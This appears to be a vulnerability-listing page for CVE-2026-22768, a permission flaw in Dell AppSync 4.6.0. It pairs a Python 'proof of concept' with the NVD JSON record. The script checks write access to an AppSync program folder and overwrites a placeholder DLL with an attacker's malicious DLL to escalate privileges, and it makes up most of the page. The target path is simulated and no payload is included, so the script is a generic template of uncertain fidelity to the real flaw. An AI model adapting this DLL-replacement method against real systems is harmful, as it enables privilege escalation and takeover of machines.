CVE-2026-22768

# Proof of Concept (PoC) for Permission Assignment Vulnerability # This script demonstrates how a low-privileged user might exploit weak permissions # to replace a critical binary and achieve privilege escalation. import os import shutil def exploit_poc(): # Simulated path to the vulnerable critical resource (e.g., a config or DLL) target_path = "C:\\Program Files\\Dell\\AppSync\\critical_component.dll" # Path to the malicious payload crafted by the attacker malicious_payload_path = "C:\\Users\\low_priv_user\\malicious.dll" print("[*] Checking write permissions on target resource...") # Check if the low-privileged user can write to the target location if os.access(os.path.dirname(target_path), os.W_OK): print(f"[+] Write access confirmed on {os.path.dirname(target_path)}") # Backup original file (optional, for demonstration) backup_path = target_path + ".bak" if os.path.exists(target_path): shutil.copy(target_path, backup_path) print(f"[*] Original file backed up to {backup_path}") # Replace the legitimate file with the malicious payload try: shutil.copy(malicious_payload_path, target_path) print(f"[+] Successfully replaced {target_path} with malicious payload.") print("[*] Waiting for service restart or user interaction to trigger execution...") print("[!] Privilege escalation condition met.") except Exception as e: print(f"[-] Failed to replace file: {e}") else: print("[-] No write access. Exploit failed.") if __name__ == "__main__": exploit_poc()

{"cve": {"id": "CVE-2026-22768", "sourceIdentifier": "[email protected]", "published": "2026-04-01T13:16:33.950", "lastModified": "2026-04-02T16:54:13.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell AppSync, version(s) 4.6.0, contain(s) an Incorrect Permission Assignment for Critical Resource vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:appsync:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0.0", "versionEndExcluding": "4.6.1.0", "matchCriteriaId": "27464B6B-D2A8-48ED-A83B-404A6870E6D6"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000446965/dsa-2026-163-security-update-for-dell-appsync-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}